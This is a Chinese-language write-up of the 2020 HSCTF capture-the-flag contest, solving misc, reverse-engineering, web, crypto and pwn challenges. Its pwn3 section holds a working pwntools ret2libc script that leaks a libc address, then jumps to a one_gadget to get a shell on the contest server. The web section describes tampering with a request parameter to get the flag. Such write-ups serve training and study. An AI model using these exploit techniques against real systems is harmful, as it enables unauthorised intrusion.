HSCTF WP ——Lun4R



title: HSCTF WP ——Lun4R
date: 2020-06-06
categories:

  • wp
    tags:
  • HSCTF

和小伙伴们一起做了一下HSCTF,这竟然是给高中举办的CTF比赛。MISC思路是非常新颖啊。。。

MISC

My First Calculator

图片

CNC

图片

恢复数据,导出文件,在mp4最后发现part3

压缩包有密码,在表格中发现密码 passw0rd

Glad Bags

一个ELF

发现7z压缩包,提取出来,发现是个项目emmm

Mad Libs

图片

stegsolve跑一遍发现红绿蓝色道最低位位平面上方存在隐写,data extract直接出flag

图片

Comments

下载下来是一个压缩包

图片

图片

图片

一层压缩包注释就有一位flag

Meta Mountains

图片

查看图片属性直接拿flag

N-95

图片

修成这样以后就没得办法了……25 x 25应该是没跑的

直接去网站识别就行了,残缺的部分涂成灰的

Emojis

?????
?????
?????
?????
?????
?????
?????
?????
?????
?????
?????
?????
??????
?????
????
????
????
????
????
????
?????
?????
?????
??????
????
????
????
?????
?????
????
??????
????
????
?????
?????
????
????
?????
????
?????
????
????
????
????
?????
????
?????              
?????
?????
?????
?????
?????
?????
?????
?????
?????
?????
?????
??????

深奥的编程语言。跟鬼一样。。。
我去找找

https://www.emojicode.org/
这个比较像c。。不是这个

图片

https://esolangs.org/wiki/Emoji
https://github.com/vpzomtrrfrt/emoji.py
也不像
https://esolangs.org/wiki/DubDubMachine
Brainfuck derivatives
还是不像
也不是
https://esolangs.org/wiki/EmojiCoder
找到了找到了
https://esolangs.org/wiki/Emoji-gramming

图片

这24个是变量名

??是输入

??是输出

图片

看逻辑

if???
sub??
if??
MOV??
sub??
ADD??
if??
MOV???
sub?8
MOV???
MOV????
ADD??
sub??
ADD??
ADD?4
ADD?2
if??
MOV????
if??
ADD??
ADD?1
sub?8
ADD??
sub??
if?4
ADD??
ADD?8
sub??
sub??
ADD??
sub??
if?0
sub??

改成人稍微能看懂点的。。。

a=input()
b=input()
c=input()
d=input()
e=input()
f=input()
g=input()
h=input()
i=input()
j=input()
k=input()
l=input()
E=input()
if(b != E):
	l=l-a
if(b != f):
	c=h
b=b-e
j=j+g
if(e!=j):
	A=d
c=c-8
d=E
E=A
b=b+h
b=b-d
a=a+1
c=c+4
d=d+2
#if(d!=f):
if(e!=j):
	e=e+j
l=l+1
k=k-8
h=h+i
f=f-g
if(k!=4):
	g=g+i
i=i+8
a=a-c
e=e-l
c=c+c
h=h-l
if(k!=0):
	j=j-b
#print(abcdefjhijklE)
#xB^r_En}INc4v

逆算法

s="xB^r_En}INc4v"
a=ord(s[0])
b=ord(s[1])
c=ord(s[2])
d=ord(s[3])
e=ord(s[4])
f=ord(s[5])
g=ord(s[6])
h=ord(s[7])
i=ord(s[8])
j=ord(s[9])
k=ord(s[10])
l=ord(s[11])
E=ord(s[12])

if(k!=0):
    j=j+b
h=h+l
c=c/2
e=e+l
a=a+c
i=i-8
#print(k)
if(k!=4):
    g=g-i
f=f+g
h=h-i
k=k+8
l=l-1
print(e,j)
if(e-j!=j):
    e=e-j
d=d-2
c=c-4
a=a-l
b=b+d
b=b-h
A=E
E=d
d=A
c=c+8
#print(e,f)
j=j-g
b=b+e
#print(b,f)
if(b!=f):
    h=c
if(b!=E):
    l=l+a
print(a,b,c,d,e,f,j,h,i,j,k,l,E)
#116.0 69 51.0 118 3 114 99 51.0 65 99 107 167.0 112

evil stego

图片

肯定找最简单的下手

Uk9UMTM/IEknbSBnZXR0aW5nIGJhc2U2NCBlbmNvZGVkIQo=
ROT13? I'm getting base64 encoded!

显然rot13

Lbh'er trggvat NRF juvyr V bayI trg EBG13?
You're getting AES while I onlV get ROT13?

Pwn

pwn1

直接NC

pwn2

远程偏移0xd0

pwn3

from pwn import *

from LibcSearcher import *

p=process('./pwnagotchi')

context.log_level='debug'

p=remote('pwn.hsctf.com',5005)

p.recvuntil('name: \n')

pad='a'*20

pop_rdi=0x00000000004009f3

puts_plt=4195932

puts_got=6295576

main=0x400846

func1=0x4007e7

func2=0x400801

gdb.attach(p)

payload=pad+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(func1)+p64(func2)+p64(main)

p.sendline(payload)

p.recvuntil('!\n')

addr=u64(p.recv(6).ljust(8,'\x00'))

libc = LibcSearcher('puts',addr)

libc_base=addr-libc.dump('puts')

print "libc_base:" +hex(libc_base)

p.recvuntil('name: \n')

gdb.attach(p)

payload2=pad+p64(libc_base+0x4f2c5)#one_gadget

p.send(payload2)

p.interactive()

re

re1

c='inagzgkpm)Wl&Tg&io'

c1=''

for i in range(len(c)):

c1+=chr(ord(c[i])+i)

print (c1)

c2=''

for b in range(len(c1)):

for i in range(0x20,0x7e):

if((i+len(str(int(i))))==ord(c1[b])):

c2+=chr(i)

import java.util.Scanner;
public class re {
    public static void main(String[] args) {
        String inp = "1dd3|y_3tttb5g`q]^dhn3j";
        for (int i = 0; i < 3; i++) {
            inp = xor(inp);
            inp = re(inp);
        }
        System.out.print(inp);
    }

    public static String xor(String input) {
        int[] xor = {4, 1, 3, 1, 2, 1, 3, 0, 1, 4, 3, 1, 2, 0, 1, 4, 1, 2, 3, 2, 1, 0, 3};
        String ret = "";
        for (int i = 0; i < input.length(); i++) {
            ret += (char) (input.charAt(i) ^ xor[i]);
        }
        return ret;
    }
    public static String re(String input) {
        char[] arr=new char[23];
        String ret = "";
        int[] transpose = {11,18,15,19,8,17,5,2,12,6,21,0,22,7,13,14,4,16,20,1,3,10,9};
        String flag ="";
        for(int i=0;i<23;i++){
            /*System.out.print(transpose[i]);*/
            arr[transpose[i]] =input.charAt(i);
        }
        System.out.print(arr);
        for (int a = 0; a< 23; a++) {
            System.out.print(a);
            ret+=arr[a] ;
        }
        return ret;
    }
//flag{n0t_t00_b4d_r1ght}

too-much

输入的数没有正负判断,导致下溢

from pwn import *

context.log_level='debug'

p=remote('rev.hsctf.com',9001)

p.interactive()

sned -1 -2

发送后会收到一大串内容 ,flag就在其中

recv 102 108 97 103 123 116 111 111 95 109 117 99 104 95 116 111 95 104 97 110 100 108 101 125 10

解密flag

a=[102,108,97,103,123,116,111,111,95,109,117,99,104,95,116,111,95,104,97,110,100,108,101,125]

flag=''

for i in range(len(a)):

flag+=chr(a[i])

print(flag)

flag{too_much_to_handle}

Web

Blurry Eyes

图片

f12直接拿flag

Debt Simulator

图片

查看执行的js脚本发现每次Next Round都会向这个URL发出请求

图片

访问这个URL发现

图片

在下一次发包时抓包,把func参数改getgetgetgetgetgetgetgetgetFlag即可拿到flag

CRYPT

xorred

Key1 = 0x5dcec311ab1a88ff66b69ef46d4aba1aee814fe00a4342055c146533
a= 0x9a13ea39f27a12000e083a860f1bd26e4a126e68965cc48bee3fa11b
d= 0x557ce6335808f3b812ce31c7230ddea9fb32bbaeaf8f0d4a540b4f05
c= 0x7b33428eb14e4b54f2f4a3acaeab1c2733e4ab6bebc68436177128eb
b = 0x996e59a867c171397fc8342b5f9a61d90bda51403ff6326303cb865a
e= 0x306d34c5b6dda0f53c7a0f5a2ce4596cfea5ecb676169dd7d5931139

key3=Key1^a
Key4=key3^b
Key5=c^Key1^Key4
Key2=d^key3^Key5
flag=e^Key1^Key2^key3^Key4^Key5

print(hex(flag))